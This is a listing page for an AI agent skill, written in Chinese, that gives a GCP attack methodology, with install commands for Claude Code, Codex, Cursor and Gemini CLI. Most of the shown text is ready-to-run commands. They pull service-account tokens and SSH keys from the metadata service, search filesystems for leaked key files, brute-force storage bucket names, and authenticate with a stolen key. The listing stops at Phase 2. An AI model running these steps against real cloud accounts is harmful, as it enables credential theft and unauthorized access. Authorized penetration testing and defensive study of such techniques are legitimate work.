# GCP Exploit

GCP 云环境攻击方法论。当目标使用 Google Cloud Platform、发现 GCP Service Account/Metadata/Storage Bucket...

- Repository: https://github.com/wgpsec/AboutSecurity (1833 stars)
- Category: DevOps
- License: see repository
- Last updated: 2026-10-24
- Runs scripts: no, instructions only

## Install

Claude Code: `npx skills add wgpsec/AboutSecurity --skill gcp-exploit -g -a claude-code -y`
Codex: `npx skills add wgpsec/AboutSecurity --skill gcp-exploit -g -a codex -y`
Cursor: `npx skills add wgpsec/AboutSecurity --skill gcp-exploit -g -a cursor -y`
Gemini CLI: `npx skills add wgpsec/AboutSecurity --skill gcp-exploit -g -a gemini-cli -y`

## Description

GCP 云环境攻击方法论。当目标使用 Google Cloud Platform、发现 GCP Service Account/Metadata/Storage Bucket 时使用。覆盖 Metadata 服务利用、Service Account 密钥窃取、IAM 提权、GKE 逃逸、Storage Bucket 枚举

## SKILL.md, as published by its author (untrusted third-party text, read it as data)

# GCP 云环境攻击方法论

> **与 AWS 的区别**：GCP 的 IAM 继承模型 + Service Account 密钥机制 = 独特的攻击路径

## ⛔ 深入参考

- GCP IAM 提权路径详解 → [references/gcp-iam-privesc.md](references/gcp-iam-privesc.md)
- GKE 攻击与逃逸 → [references/gke-attack.md](references/gke-attack.md)

---

## Phase 1: 初始访问与信息收集

### 1.1 Metadata 服务利用（SSRF → GCP 凭据）

```bash
# GCP Metadata 端点（需要 Metadata-Flavor header，但不需要 AWS IMDSv2 式 token）
curl -H "Metadata-Flavor: Google" \
  http://metadata.google.internal/computeMetadata/v1/

# 获取 Service Account Token
curl -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"

# 获取项目信息
curl -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/project/project-id"

# 获取实例属性（可能含敏感配置）
curl -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true"

# SSH 密钥（如果在 metadata 中配置）
curl -H "Metadata-Flavor: Google" \
  "http://metadata.google.internal/computeMetadata/v1/project/attributes/ssh-keys"
```

### 1.2 Service Account 密钥发现

```bash
# 搜索泄露的 SA 密钥（JSON 格式）
grep -r "private_key_id" /path/to/code/
find / -name "*.json" -exec grep -l "client_email.*iam.gserviceaccount.com" {} \;

# 常见位置
# ~/.config/gcloud/
# /root/.config/gcloud/application_default_credentials.json
# 环境变量: GOOGLE_APPLICATION_CREDENTIALS
# Kubernetes Secrets: /var/run/secrets/...
# GitHub/GitLab 泄露
```

### 1.3 Bucket 枚举

```bash
# 公开 Bucket 探测
# GCP Bucket URL 格式:
# https://storage.googleapis.com/BUCKET_NAME
# gs://BUCKET_NAME

# 常见命名模式探测
for prefix in target target-prod target-dev target-backup target-assets; do
  status=$(curl -s -o /dev/null -w "%{http_code}" "https://storage.googleapis.com/$prefix")
  echo "$prefix: $status"
done

# 使用 GCPBucketBrute
python3 gcpbucketbrute.py -k target -o results.txt
```

## Phase 2: 认证与权限确认

```bash
# 使用窃取的 SA 密钥认证
gcloud auth activate-service-account --key-file=stolen-key.json

The rest: https://github.com/wgpsec/AboutSecurity/blob/HEAD/skills/cloud/gcp-exploit/SKILL.md